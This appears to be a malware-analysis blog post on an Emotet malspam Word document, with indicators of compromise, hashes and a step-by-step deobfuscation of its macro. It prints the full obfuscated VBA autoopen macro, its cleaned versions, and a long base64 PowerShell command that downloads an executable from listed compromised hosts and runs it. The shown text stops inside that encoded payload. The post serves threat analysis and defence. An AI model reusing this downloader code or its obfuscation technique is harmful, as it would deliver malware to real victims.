For today’s post, I am walking through an Emotet malspam that we received this past Friday that contained a simple link that lead to a macro enabled Word document. Googling around I see that @dvk01uk came across the same URLs 5 days ago. You can read that post here. Running the maldoc in my test VM showed that the initial link was still working and downloaded an executable. When running that executable on my test VM, I saw a couple of POST requests going to dead sites. First I will walk through the script that I deobfuscated and then the traffic coming from the maldoc.
For more information about Emotet, see this article from SC Magazine. The sample that I discuss here does not seem to be using any worm like propagation techniques as described from the team at Fidelis.
Note: It was a bank holiday weekend this weekend so this post was written when I could find some free time. So the artifacts gathered may reflect different days/times. 😎
For all the PCAPs and artifacts from this investigation, please see my repo located here.
IOCs:
=====
wernerbernheim[.]com[.]uy / 179.27.153.45 (HTTP GET)
vereb[.]com
hocompro[.]com
okiembociana[.]pl
qdecisions.com
62[.]39.95[.]185 (TCP:443 POST)
104[.]236.252[.]178 (TCP:8080 POST)
Artifacts:
==========
File name: Invoice # 9674991 Problem.doc
File size: 78KB
File Path: NA
MD5 hash: 34cd3e23fdc582c1f70670e356ae877a
Virustotal: http://virustotal.com/#/file/24abd675f46228821dffb294e4a37f73c807330ecd972379b8a29f10dcd47cfc/community
First Submission: 2017-08-23 06:49:36
Detection ratio: 31 / 59
Malwr: http://malwr.com/analysis/Mjk5NTJiMWQxMGQ4NGFiYWE1M2YyZTA5MDNkY2MxMmU/
Hybrid Analysis: http://www.reverse.it/sample/24abd675f46228821dffb294e4a37f73c807330ecd972379b8a29f10dcd47cfc?environmentId=100
File name: GVhZFRnuDfWvPO.exe
File size: 84KB
File Path: C:\Users\%username%\AppData\Local\Temp
MD5 hash: 156727ee7cfa8bb40f8b43bc45c7ffba
Virustotal: http://virustotal.com/#/file/a4e37b828e0b0d7be329ed2343cb20f320605a72c2f44e71164eb57cc6a28571/detection
First Submission: 2017-08-23 21:24:37
Detection ratio: 42 / 65
Malwr: NA
Hybrid Analysis: http://www.reverse.it/sample/a4e37b828e0b0d7be329ed2343cb20f320605a72c2f44e71164eb57cc6a28571?environmentId=100
File name: serviceprov.exe
File size: 84KB
File Path: C:\Users\%username%\AppData\Local\Microsoft\Windows
MD5 hash: 156727ee7cfa8bb40f8b43bc45c7ffba
Virustotal: http://virustotal.com/#/file/a4e37b828e0b0d7be329ed2343cb20f320605a72c2f44e71164eb57cc6a28571/detection
First Submission: 2017-08-23 21:24:37
Detection ratio: 42 / 65
Malwr: NA
Hybrid Analysis: http://www.reverse.it/sample/a4e37b828e0b0d7be329ed2343cb20f320605a72c2f44e71164eb57cc6a28571?environmentId=100
Walk Through of Script:
=======================
So there are a couple of ways to go about getting access to the deobfuscated script. You can use tools like Olevba.py from Decalage or oledump-py from Didier Stevens, or my favorite OfficeMalScanner. This walk through will focus on the use of OfficeMalScanner.
Using OfficeMalScanner and the “info” option as seen in the image below, it pulled out two files that contained the malicious script (both are the same by the way).
The following is the original script.
Attribute VB_Name = "Module1" Function tBXRpcutKGy() Dim aUyMWUfX() xhkWNCwR = 7772 ReDim aUyMWUfX(7772) aUyMWUfX(5756) = YrpPPTVkfY aUyMWUfX(3925) = bRtPBPVLz aUyMWUfX(6618) = 9766 aUyMWUfX(1268) = 3639 For xhkWNCwR = 195 To 4834 aUyMWUfX(xhkWNCwR) = xhkWNCwR Next End Function Function bNZHkXXn() Dim fgwcWMHGyB() tDkCGBrV = 7093 ReDim fgwcWMHGyB(7093) fgwcWMHGyB(3791) = vPaDUCnZ fgwcWMHGyB(5504) = SFmtwbbMGNK fgwcWMHGyB(1812) = cWEcUyXdZNE fgwcWMHGyB(2665) = PWUYyzCcKws fgwcWMHGyB(5997) = 3789 fgwcWMHGyB(6096) = 7664 fgwcWMHGyB(6787) = 9833 fgwcWMHGyB(5173) = 2568 fgwcWMHGyB(4031) = 8692 fgwcWMHGyB(1650) = 1540 For tDkCGBrV = 5297 To 3064 fgwcWMHGyB(tDkCGBrV) = tDkCGBrV Next End Function Function rvKVpBYcu() Dim tfzRDTrcM() KSkCSdHXAED = 6811 ReDim tfzRDTrcM(6811) tfzRDTrcM(2322) = AtztbeErwa tfzRDTrcM(4292) = BWmDATcRZ tfzRDTrcM(6219) = SrkHKEnV tfzRDTrcM(1691) = GNsYckBaA tfzRDTrcM(1553) = vdWwxkbEfaE tfzRDTrcM(6398) = 1299 tfzRDTrcM(4502) = 452 tfzRDTrcM(3842) = 2596 tfzRDTrcM(4721) = 6226 For KSkCSdHXAED = 3469 To 302 tfzRDTrcM(KSkCSdHXAED) = KSkCSdHXAED Next End Function Function uTHgFyyV() Dim hHHLDTgS() vFEENKuL = 6335 ReDim hHHLDTgS(6335) hHHLDTgS(4533) = AxczdFwCbpa hHHLDTgS(3443) = DLkLaUttwk hHHLDTgS(2456) = 1483 hHHLDTgS(889) = 7409 hHHLDTgS(232) = 6145 For vFEENKuL = 6324 To 1071 hHHLDTgS(vFEENKuL) = vFEENKuL Next End Function Function zyRhMZtEF() Dim fTnNwrrLgAF() svuKLgcmw = 4953 ReDim fTnNwrrLgAF(4953) fTnNwrrLgAF(4597) = cBheKFWLWgx fTnNwrrLgAF(2506) = XXXdnEykpYH fTnNwrrLgAF(4417) = wgHZUYBb fTnNwrrLgAF(4436) = VuUMkDrCwv fTnNwrrLgAF(2230) = 3094 fTnNwrrLgAF(4629) = 8894 fTnNwrrLgAF(1882) = 6101 fTnNwrrLgAF(1650) = 226 fTnNwrrLgAF(1301) = 9588 fTnNwrrLgAF(3423) = 882 For svuKLgcmw = 1730 To 2054 fTnNwrrLgAF(svuKLgcmw) = svuKLgcmw Next End Function Function kVfxxgeZTcx() Dim cNhmaTXxm() BmnMsurwx = 8738 ReDim cNhmaTXxm(8738) cNhmaTXxm(2107) = rYpHhaXM cNhmaTXxm(4239) = ssbeCguByfD cNhmaTXxm(6984) = TyDznyPyeks cNhmaTXxm(8257) = 312 cNhmaTXxm(133) = 6779 cNhmaTXxm(3494) = 6258 For BmnMsurwx = 5098 To 1531 cNhmaTXxm(BmnMsurwx) = BmnMsurwx Next End Function Function zxDDnHtE() Dim xxAHkeRpfGX() BGLnTuFBWd = 2487 ReDim xxAHkeRpfGX(2487) xxAHkeRpfGX(1258) = FusggnCkM xxAHkeRpfGX(298) = vPtBDYEkrT xxAHkeRpfGX(1863) = pgYZFanEX xxAHkeRpfGX(1971) = TVrCVXdFsrN xxAHkeRpfGX(332) = tAcsBWNwS xxAHkeRpfGX(1618) = MzUGSBNYN xxAHkeRpfGX(789) = 7981 xxAHkeRpfGX(2421) = 7966 xxAHkeRpfGX(138) = 4484 xxAHkeRpfGX(2163) = 9150 xxAHkeRpfGX(1103) = 1880 For BGLnTuFBWd = 438 To 2203 xxAHkeRpfGX(BGLnTuFBWd) = BGLnTuFBWd Next End Function Function fvUmWakZZYK() Dim TSWvdtKMh() vwPpbCTn = 7944 ReDim TSWvdtKMh(7944) TSWvdtKMh(7122) = tgNRdsMwt TSWvdtKMh(3881) = brbXLzLWtH TSWvdtKMh(2436) = muXZpUfPGaL TSWvdtKMh(4599) = mCxafFNNa TSWvdtKMh(1118) = 3467 TSWvdtKMh(2552) = 6452 TSWvdtKMh(7686) = 6721 For vwPpbCTn = 7878 To 7420 TSWvdtKMh(vwPpbCTn) = vwPpbCTn Next End Function Function CgAdLyezp() Dim PfDSCfau() eHBADPnM = 5319 ReDim PfDSCfau(5319) PfDSCfau(4753) = VXsMybXeaA PfDSCfau(3102) = CNKLPEdUfm PfDSCfau(1100) = LHcTEumpTTm PfDSCfau(2463) = xaBCaVhG PfDSCfau(2793) = 7975 PfDSCfau(4802) = 5773 PfDSCfau(2858) = 6001 PfDSCfau(4300) = 7075 PfDSCfau(4664) = 8911 For eHBADPnM = 2922 To 4875 PfDSCfau(eHBADPnM) = eHBADPnM Next End Function Function wvFMSCtgSB() Dim UDYkpKHVvc() mmGwMYbWa = 3559 ReDim UDYkpKHVvc(3559) UDYkpKHVvc(2024) = btKHhNusS UDYkpKHVvc(2015) = uSRnWNHzvW UDYkpKHVvc(1996) = LnDZbkwhpEY UDYkpKHVvc(156) = 6808 UDYkpKHVvc(1741) = 3548 UDYkpKHVvc(1625) = 4118 For mmGwMYbWa = 1128 To 3240 UDYkpKHVvc(mmGwMYbWa) = mmGwMYbWa Next End Function Function DKWTEVRRMBN() Dim cXszFrzwURz() cyLYRTKSSdC = 7004 ReDim cXszFrzwURz(7004) cXszFrzwURz(3595) = gtyrxgwS cXszFrzwURz(2615) = PzfKEZMsBW cXszFrzwURz(5245) = BNZkwMNR cXszFrzwURz(4066) = WRscespGr cXszFrzwURz(3282) = FHMwanSUR cXszFrzwURz(6547) = 2845 cXszFrzwURz(6240) = 4262 cXszFrzwURz(4314) = 5615 cXszFrzwURz(4342) = 3162 For cyLYRTKSSdC = 3463 To 1101 cXszFrzwURz(cyLYRTKSSdC) = cyLYRTKSSdC Next End Function Sub autoopen() GnLpEPBGuvx End Sub Public Function ugCunPaK(sTzHXsUeNU) ugCunPaK = ActiveDocument.CustomDocumentProperties(sTzHXsUeNU) + UrwupfwKDga + ydwzhPhAVZ + NfKNKKfm + hbngeuKbpan + tapuwDfPB + rzLKMSrh + MKzPmYSbSpR + yGbrgXSCbLY + KbfvhcWZtc + RtUEcxFu + SNnkzEnw End Function Public Function dZmAMvagz() nXywrxED = "KMEtckFDb" vXhCxGNDf = "MSryEeLx" fUpMfRAmTtm = "PDZKSskkZW" nHLDemZX = "MGRCSwyH" ZFHHcWys = "hbUxpPAm" RuUFXAPLH = "fLuFrCSY" DFBrGCMHmkE = "SFbeZuebNsh" fbtDPfDett = ugCunPaK("LfRkbnymP") + UrwupfwKDga + ydwzhPhAVZ + NfKNKKfm + hbngeuKbpan + tapuwDfPB + rzLKMSrh + MKzPmYSbSpR + yGbrgXSCbLY + KbfvhcWZtc + RtUEcxFu + ugCunPaK("KaGzyXtDkNm") + ugCunPaK("NfKBcxXvzGh") + ugCunPaK("BDwuRPNPN") BNVewnkk = "UrpABZmTnr" naakDWndM = "yKZfYFAYKfy" amRFZWXULCs = ugCunPaK("kgvXgFbt") + ugCunPaK("gTmRgTPkG") + ugCunPaK("VNbtSPzwZ") + ugCunPaK("UmCYHMCwU") + ugCunPaK("nmPWNzEc") SekyzxBsr = amRFZWXULCs + fbtDPfDett aRSdcDurYRy = "AswGHnGuMza" dZmAMvagz = SekyzxBsr + ActiveDocument.BuiltInDocumentProperties("Comments") + "" End Function Public Function uMvWKNsFzRd() uMvWKNsFzRd = ugCunPaK("FEdDZxrN") + ugCunPaK("eZumagfGLaB") + ugCunPaK("tAxtxcsvzy") + UrwupfwKDga + ydwzhPhAVZ + NfKNKKfm + hbngeuKbpan + tapuwDfPB + rzLKMSrh + MKzPmYSbSpR + yGbrgXSCbLY + KbfvhcWZtc + RtUEcxFu + KchPUyEn End Function Public Function GnLpEPBGuvx() CreateObject(uMvWKNsFzRd + ugCunPaK("hafbyEHH") + ugCunPaK("gsbuMzRpUVs")).Run$ dZmAMvagz + UrwupfwKDga + ydwzhPhAVZ + NfKNKKfm + hbngeuKbpan + tapuwDfPB + rzLKMSrh + MKzPmYSbSpR + yGbrgXSCbLY + KbfvhcWZtc + RtUEcxFu + LHxhzkDv, 0 End Function Function KWgbkykHZP() Dim RfxRMkmmzZ() apHNVUBpU = 7904 ReDim RfxRMkmmzZ(7904) RfxRMkmmzZ(1286) = xXcDTbkGSW RfxRMkmmzZ(2064) = EMsevfdYYka RfxRMkmmzZ(5661) = EMwVBBWVW RfxRMkmmzZ(1307) = UBXmtnHhnTE RfxRMkmmzZ(1470) = TXfbKEVeKC RfxRMkmmzZ(73) = 5450 RfxRMkmmzZ(965) = 9043 RfxRMkmmzZ(229) = 4176 RfxRMkmmzZ(274) = 7658 RfxRMkmmzZ(6802) = 9707 For apHNVUBpU = 6746 To 204 RfxRMkmmzZ(apHNVUBpU) = apHNVUBpU Next End Function Function KRLsRUxSsUC() Dim VxVayeNKuY() kxcsPUvhp = 9719 ReDim VxVayeNKuY(9719) VxVayeNKuY(5743) = XrTSuwmVh VxVayeNKuY(2356) = wMrdhDPCbE VxVayeNKuY(9379) = AGvwbVmarcD VxVayeNKuY(7940) = 8601 VxVayeNKuY(8579) = 5842 VxVayeNKuY(6218) = 4932 VxVayeNKuY(7419) = 7205 VxVayeNKuY(4097) = 3279 For kxcsPUvhp = 1802 To 5262 VxVayeNKuY(kxcsPUvhp) = kxcsPUvhp Next End Function Function rspLFEBgVZ() Dim CwwVvdVSvHE() VSSWyeEK = 4631 ReDim CwwVvdVSvHE(4631) CwwVvdVSvHE(2943) = KnLswFvuSNH CwwVvdVSvHE(1407) = rXAPeuFkeE CwwVvdVSvHE(2405) = rZfSvkrkUs CwwVvdVSvHE(4079) = EYeXZuXzV CwwVvdVSvHE(808) = 4846 CwwVvdVSvHE(2419) = 6206 For VSSWyeEK = 1315 To 2061 CwwVvdVSvHE(VSSWyeEK) = VSSWyeEK Next End Function Function KuCFZsbGvfm() Dim RuxuvpKcyh() FMCSSBse = 2712 ReDim RuxuvpKcyh(2712) RuxuvpKcyh(2072) = uHuEphMy RuxuvpKcyh(2457) = NgyfMkumRn RuxuvpKcyh(1760) = xfzSnfCFENf RuxuvpKcyh(703) = rehrZhEW RuxuvpKcyh(655) = 8514 RuxuvpKcyh(1385) = 6813 For FMCSSBse = 528 To 1670 RuxuvpKcyh(FMCSSBse) = FMCSSBse Next End Function Function FFMwgaYM() Dim FBdFYFybY() fDvNBaxmpMw = 2610 ReDim FBdFYFybY(2610) FBdFYFybY(1373) = PCkLDZhMgc FBdFYFybY(865) = PehxeTTXude FBdFYFybY(2007) = 6045 FBdFYFybY(1892) = 1724 FBdFYFybY(96) = 73 FBdFYFybY(2261) = 4950 FBdFYFybY(1865) = 902 For fDvNBaxmpMw = 2409 To 2155 FBdFYFybY(fDvNBaxmpMw) = fDvNBaxmpMw Next End Function Function emrKSCdBkA() Dim EPrzzbNhTDw() YCcSTMZV = 4386 ReDim EPrzzbNhTDw(4386) EPrzzbNhTDw(3407) = LYxmCkPnB EPrzzbNhTDw(4277) = sbHVZmyS EPrzzbNhTDw(713) = tehkErHMZ EPrzzbNhTDw(1392) = bKpbxcVgck EPrzzbNhTDw(3363) = 5378 EPrzzbNhTDw(2300) = 8663 EPrzzbNhTDw(1330) = 764 EPrzzbNhTDw(2300) = 2578 EPrzzbNhTDw(2226) = 1081 EPrzzbNhTDw(2022) = 3830 For YCcSTMZV = 2370 To 1408 EPrzzbNhTDw(YCcSTMZV) = YCcSTMZV Next End Function Function UGHFGXMDmY() Dim ptvYBrECdr() TUcEUXCkuK = 9074 ReDim ptvYBrECdr(9074) ptvYBrECdr(8210) = HDKVGwRavL ptvYBrECdr(8972) = gkALasxL ptvYBrECdr(8712) = hActVXbu ptvYBrECdr(6182) = vcMkyVUtD ptvYBrECdr(1196) = EfhGUuVXbdV ptvYBrECdr(8154) = hyyxpMgkBT ptvYBrECdr(6025) = 629 ptvYBrECdr(8192) = 190 ptvYBrECdr(6255) = 8494 For TUcEUXCkuK = 2971 To 8016 ptvYBrECdr(TUcEUXCkuK) = TUcEUXCkuK Next End Function Function vsReyNEk() Dim FGNPxDgR() dNppxZwPpcb = 4284 ReDim FGNPxDgR(4284) FGNPxDgR(357) = nLSUvpBn FGNPxDgR(2296) = GmHrPzWe FGNPxDgR(2084) = yBpTvyTCAX FGNPxDgR(3032) = kFXYfefe FGNPxDgR(3090) = 700 FGNPxDgR(2415) = 7683 FGNPxDgR(3723) = 1696 For dNppxZwPpcb = 3075 To 3180 FGNPxDgR(dNppxZwPpcb) = dNppxZwPpcb Next End Function Function pCHhXMbL() Dim gTbYDYvnCFK() kSrFLzhF = 6984 ReDim gTbYDYvnCFK(6984) gTbYDYvnCFK(1465) = MfhnzDds gTbYDYvnCFK(1976) = NWtAppGka gTbYDYvnCFK(3497) = UuXfxzyYkt gTbYDYvnCFK(5413) = XPmZdgwFmB gTbYDYvnCFK(5110) = wxwhYeCeBN gTbYDYvnCFK(2916) = 4252 gTbYDYvnCFK(5255) = 813 gTbYDYvnCFK(222) = 4637 gTbYDYvnCFK(1608) = 5961 gTbYDYvnCFK(4251) = 6310 gTbYDYvnCFK(2972) = 6903 For kSrFLzhF = 3058 To 574 gTbYDYvnCFK(kSrFLzhF) = kSrFLzhF Next End Function Function WhBTkeGK() Dim YFxKLWsAfp() wzGAvURR = 2449 ReDim YFxKLWsAfp(2449) YFxKLWsAfp(1730) = eYhtkWzXts YFxKLWsAfp(1916) = rWbMKXtXUt YFxKLWsAfp(503) = 7093 YFxKLWsAfp(1507) = 9360 For wzGAvURR = 1171 To 1136 YFxKLWsAfp(wzGAvURR) = wzGAvURR Next End Function Function SZcFhkaBYck() Dim xwwxcbkkpw() pSmPsyteH = 692 ReDim xwwxcbkkpw(692) xwwxcbkkpw(339) = KxUbDzCKvv xwwxcbkkpw(192) = UuLeTrtn xwwxcbkkpw(199) = WSmyTyrgDpm xwwxcbkkpw(307) = vrVhCxnBFmu xwwxcbkkpw(511) = yMpmVNbxxZZ xwwxcbkkpw(270) = 3133 xwwxcbkkpw(489) = 667 xwwxcbkkpw(566) = 887 xwwxcbkkpw(209) = 9747 For pSmPsyteH = 314 To 461 xwwxcbkkpw(pSmPsyteH) = pSmPsyteH Next End Function
One of the things that I have learned while trying (emphasis on trying) to deobfuscate scripts and learning this art is that one should just glance through the script to see if anything stands out (keywords, URLs, paths, etc…). With this script, the first thing that stood out was the sub autoopen procedure, and then the middle section since it contained things like “ActiveDocument.CustomDocumentProperties” and “ActiveDocument.BuiltInDocumentProperties(“Comments”).” Doing a quick double click in Sublime Text with some of the other function names showed that nothing was calling them and was added to script to confuse the analyst. Below is the cleaned up script.
Sub autoopen() GnLpEPBGuvx End Sub Public Function GnLpEPBGuvx() CreateObject(uMvWKNsFzRd + ugCunPaK("hafbyEHH") + ugCunPaK("gsbuMzRpUVs")).Run$ dZmAMvagz, 0 End Function Public Function dZmAMvagz() fbtDPfDett = ugCunPaK("LfRkbnymP") + ugCunPaK("KaGzyXtDkNm") + ugCunPaK("NfKBcxXvzGh") + ugCunPaK("BDwuRPNPN") amRFZWXULCs = ugCunPaK("kgvXgFbt") + ugCunPaK("gTmRgTPkG") + ugCunPaK("VNbtSPzwZ") + ugCunPaK("UmCYHMCwU") + ugCunPaK("nmPWNzEc") SekyzxBsr = amRFZWXULCs + fbtDPfDett dZmAMvagz = SekyzxBsr + ActiveDocument.BuiltInDocumentProperties("Comments") + "" End Function Public Function ugCunPaK(sTzHXsUeNU) ugCunPaK = ActiveDocument.CustomDocumentProperties(sTzHXsUeNU) End Function Public Function uMvWKNsFzRd() uMvWKNsFzRd = ugCunPaK("FEdDZxrN") + ugCunPaK("eZumagfGLaB") + ugCunPaK("tAxtxcsvzy") End Function
One thing to note with this script is that it is calling data held in the Word document itself via “ActiveDocument.CustomDocumentProperties” and “ActiveDocument.BuiltInDocumentProperties(“Comments”).” When you look at the Word document via it’s properties, there is a new tab called “Custom” with the following data:
When you look at the “Details” tab, there is a section within there called “Comments” with the following long string:
JAB7AHcAYABzAEMAUgBgAEkAUABUAH0AIAA9ACAALgAoACIAewAxAH0AewAwAH0AewAyAH0AIgAgAC0AZgAgACcAbwBiAGoAZQBjACcALAAnAG4AZQB3AC0AJwAsACcAdAAnACkAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAKAAiAHsANAB9AHsAMAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBmACcAcgBpAHAAJwAsACcAUwBoAGUAbABsACcALAAnAC4AJwAsACcAdAAnACwAJwBXAFMAYwAnACkAOwAkAHsAVwBFAEIAYwBgAGwAaQBFAGAATgBUAH0AIAA9ACAALgAoACIAewAzAH0AewAyAH0AewAwAH0AewAxAH0AIgAtAGYAIAAnAGoAZQAnACwAJwBjAHQAJwAsACcAZQB3AC0AbwBiACcALAAnAG4AJwApACAAKAAiAHsAMwB9AHsAMgB9AHsAMAB9AHsANAB9AHsAMQB9ACIAIAAtAGYAIAAnAHQAJwAsACcAdAAnACwAJwAuAE4AZQAnACwAJwBTAHkAcwB0AGUAbQAnACwAJwAuAFcAZQBiAEMAbABpAGUAbgAnACkAOwAkAHsAUgBBAG4AYABkAGAATwBtAH0AIAA9ACAALgAoACIAewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwBuAGUAJwAsACcALQBvAGIAagBlAGMAdAAnACwAJwB3ACcAKQAgACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiAC0AZgAgACcAbwAnACwAJwByAGEAbgBkACcALAAnAG0AJwApADsAJAB7AHUAYABSAEwAUwB9ACAAPQAgACgAIgB7ADAAfQB7ADEANwB9AHsAMgAwAH0AewAzADAAfQB7ADIAOAB9AHsAMgA5AH0AewAzAH0AewAxADEAfQB7ADEANQB9AHsAMgAzAH0AewAyADEAfQB7ADIANQB9AHsAMQA2AH0AewAyAH0AewA3AH0AewAxADMAfQB7ADEAMgB9AHsAMgA3AH0AewAxADAAfQB7ADQAfQB7ADEAOQB9AHsAMQB9AHsAMgA0AH0AewA1AH0AewA5AH0AewAxADgAfQB7ADEANAB9AHsANgB9AHsAMgA2AH0AewAyADIAfQB7ADgAfQAiACAALQBmACAAJwBoACcALAAnAG0ALwBKAGwAVAAnACwAJwByAGUAYgAuAGMAbwBtAC8AUwBPACcALAAnAHkAJwAsACcAaABvAGMAbwBtAHAAcgBvAC4AYwAnACwAJwB0AHAAOgAvAC8AbwBrAGkAZQAnACwAJwBoAEMAZwBHAE8ALwAsAGgAdAB0AHAAOgAvAC8AcQBkAGUAYwBpAHMAaQBvAG4AcwAuAGMAbwBtACcALAAnAGcAaABWAFMALwAsACcALAAnAHoALwAnACwAJwBtAGIAbwBjAGkAJwAsACcALwAvACcALAAnAC8AYwBhAHAAYQBjAGkAdABhAGMAaQAnACwAJwB0ACcALAAnAGgAJwAsACcAbgBhAC4AcABsAC8AaQAnACwAJwBvAG4ALwBiACcALAAnAGUAJwAsACcAdAB0AHAAOgAvAC8AdwBlACcALAAnAGEAJwAsACcAbwAnACwAJwByAG4AZQAnACwAJwBMAFQAJwAsACcATAByAHcAagAnACwAJwBNACcALAAnAHMAegBXAC8ALABoAHQAJwAsACcAQgByAGMASQBFAC8ALABoAHQAdABwADoALwAvAHYAJwAsACcALwAnACwAJwB0AHAAOgAnACwAJwBlAGkAbQAuAGMAJwAsACcAbwBtAC4AdQAnACwAJwByAGIAZQByAG4AaAAnACkALgAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBTAHAAbABpACcALAAnAHQAJwApAC4ASQBuAHYAbwBrAGUAKAAnACwAJwApADsAJAB7AG4AYQBgAE0AZQB9ACAAPQAgACQAewBSAEEATgBEAGAATwBtAH0ALgAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAeAB0ACcALAAnAG4AZQAnACkALgBJAG4AdgBvAGsAZQAoADEALAAgADYANQA1ADMANgApADsAJAB7AFAAYQBgAFQASAB9ACAAPQAgACQAewBlAGAATgB2ADoAdABFAE0AUAB9ACAAKwAgACcAXAAnACAAKwAgACQAewBuAEEAYABtAEUAfQAgACsAIAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBlAHgAZQAnACwAJwAuACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHsAdQBgAFIAbAB9ACAAaQBuACAAJAB7AFUAcgBgAGwAUwB9ACkAewB0AHIAeQB7ACQAewB3AEUAYgBgAEMAbABpAEUAYABOAHQAfQAuACgAIgB7ADIAfQB7ADAAfQB7ADMAfQB7ADEAfQAiACAALQBmACAAJwBsACcALAAnAEYAaQBsAGUAJwAsACcARABvAHcAbgAnACwAJwBvAGEAZAAnACkALgBJAG4AdgBvAGsAZQAoACQAewBVAGAAUgBMAH0ALgAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBUACcALAAnAG8AUwB0AHIAaQBuAGcAJwApAC4ASQBuAHYAbwBrAGUAKAApACwAIAAkAHsAcABBAGAAVABIAH0AKQA7AC4AKAAiAHsAMAB9AHsAMQB9AHsAMgB9ACIALQBmACcAUwB0AGEAcgB0AC0AUAByACcALAAnAG8AYwBlACcALAAnAHMAcwAnACkAIAAkAHsAcABgAEEAdABIAH0AOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7AC4AKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAJwB3AHIAaQB0AGUALQBoACcALAAnAHMAdAAnACwAJwBvACcAKQAgACQAewBfAH0ALgAiAEUAeABjAEUAUAB0AGAAaQBgAE8AbgAiAC4AIgBtAEUAcwBTAGAAQQBHAGUAIgA7AH0AfQANAAoA
Interestingly enough, if you open the Word document and go back to the properties of the file, the “Custom” tab and the data within “Comments” field are gone. If you close out the Word doc, they come back. So the script above is using these bits embedded into the Word file itself for something. We will get to that in a moment.
So when looking at this macro, like any macro enabled Word document, I started off looking at the sub procedure called autoopen which calls the function ‘GnLpEPBGuvx’. This function creates an object as seen via ‘CreateObject’ while also calling the ‘uMvWKNsFzRd’, ‘ugCunPaK’, and ‘dZmAMvagz’ functions.
Throughout the script, there are calls to the function ‘ugCunPaK’ which also passes a parameter (sTzHXsUeNU). All this function is doing is taking what is passed to it and saying to look for it in the “Comments” tab in the Word file. For example when working through this line of the script:
CreateObject(uMvWKNsFzRd + ugCunPaK("hafbyEHH") + ugCunPaK("gsbuMzRpUVs")).Run$ dZmAMvagz
The “uMvWKNsFzRd” function is being called which runs this line of code:
uMvWKNsFzRd = ugCunPaK("FEdDZxrN") + ugCunPaK("eZumagfGLaB") + ugCunPaK("tAxtxcsvzy")
The code then calls the “ugCunPaK” function and passes “FEdDZxrN,” “eZumagfGLaB,” and “tAxtxcsvzy” as parameters. When the “ugCunPaK” function is called, it looks up the values “FEdDZxrN,” “eZumagfGLaB,” and “tAxtxcsvzy” in the comments of the Word file which translates to ‘Wscript.’. It then passes back to the GnLpEPBGuvx function and proceeds to do the same thing again just using “hafbyEHH,” and “gsbuMzRpUVs” as the parameters that get passed.
After several times of doing this throughout the script, we get the following cleaned up script:
Sub autoopen() GnLpEPBGuvx End Sub Public Function GnLpEPBGuvx() CreateObject(Wscript. ugCunPaK("SH") + ugCunPaK("ell")).Run$ dZmAMvagz End Function Public Function dZmAMvagz() fbtDPfDett = ugCunPaK("l") + ugCunPaK("-") + ugCunPaK("e") + ugCunPaK(" ") amRFZWXULCs = ugCunPaK("p") + ugCunPaK("o") + ugCunPaK("we") + ugCunPaK("rsh") + ugCunPaK("el") SekyzxBsr = powershel + l-e dZmAMvagz = powershell-e + JAB7AHcAYABzAEMAUgBgAEkAUABUAH0AIAA9ACAALgAoACIAewAxAH0AewAwAH0AewAyAH0AIgAgAC0AZgAgACcAbwBiAGoAZQBjACcALAAnAG4AZQB3AC0AJwAsACcAdAAnACkAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAKAAiAHsANAB9AHsAMAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBmACcAcgBpAHAAJwAsACcAUwBoAGUAbABsACcALAAnAC4AJwAsACcAdAAnACwAJwBXAFMAYwAnACkAOwAkAHsAVwBFAEIAYwBgAGwAaQBFAGAATgBUAH0AIAA9ACAALgAoACIAewAzAH0AewAyAH0AewAwAH0AewAxAH0AIgAtAGYAIAAnAGoAZQAnACwAJwBjAHQAJwAsACcAZQB3AC0AbwBiACcALAAnAG4AJwApACAAKAAiAHsAMwB9AHsAMgB9AHsAMAB9AHsANAB9AHsAMQB9ACIAIAAtAGYAIAAnAHQAJwAsACcAdAAnACwAJwAuAE4AZQAnACwAJwBTAHkAcwB0AGUAbQAnACwAJwAuAFcAZQBiAEMAbABpAGUAbgAnACkAOwAkAHsAUgBBAG4AYABkAGAATwBtAH0AIAA9ACAALgAoACIAewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwBuAGUAJwAsACcALQBvAGIAagBlAGMAdAAnACwAJwB3ACcAKQAgACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiAC0AZgAgACcAbwAnACwAJwByAGEAbgBkACcALAAnAG0AJwApADsAJAB7AHUAYABSAEwAUwB9ACAAPQAgACgAIgB7ADAAfQB7ADEANwB9AHsAMgAwAH0AewAzADAAfQB7ADIAOAB9AHsAMgA5AH0AewAzAH0AewAxADEAfQB7ADEANQB9AHsAMgAzAH0AewAyADEAfQB7ADIANQB9AHsAMQA2AH0AewAyAH0AewA3AH0AewAxADMAfQB7ADEAMgB9AHsAMgA3AH0AewAxADAAfQB7ADQAfQB7ADEAOQB9AHsAMQB9AHsAMgA0AH0AewA1AH0AewA5AH0AewAxADgAfQB7ADEANAB9AHsANgB9AHsAMgA2AH0AewAyADIAfQB7ADgAfQAiACAALQBmACAAJwBoACcALAAnAG0ALwBKAGwAVAAnACwAJwByAGUAYgAuAGMAbwBtAC8AUwBPACcALAAnAHkAJwAsACcAaABvAGMAbwBtAHAAcgBvAC4AYwAnACwAJwB0AHAAOgAvAC8AbwBrAGkAZQAnACwAJwBoAEMAZwBHAE8ALwAsAGgAdAB0AHAAOgAvAC8AcQBkAGUAYwBpAHMAaQBvAG4AcwAuAGMAbwBtACcALAAnAGcAaABWAFMALwAsACcALAAnAHoALwAnACwAJwBtAGIAbwBjAGkAJwAsACcALwAvACcALAAnAC8AYwBhAHAAYQBjAGkAdABhAGMAaQAnACwAJwB0ACcALAAnAGgAJwAsACcAbgBhAC4AcABsAC8AaQAnACwAJwBvAG4ALwBiACcALAAnAGUAJwAsACcAdAB0AHAAOgAvAC8AdwBlACcALAAnAGEAJwAsACcAbwAnACwAJwByAG4AZQAnACwAJwBMAFQAJwAsACcATAByAHcAagAnACwAJwBNACcALAAnAHMAegBXAC8ALABoAHQAJwAsACcAQgByAGMASQBFAC8ALABoAHQAdABwADoALwAvAHYAJwAsACcALwA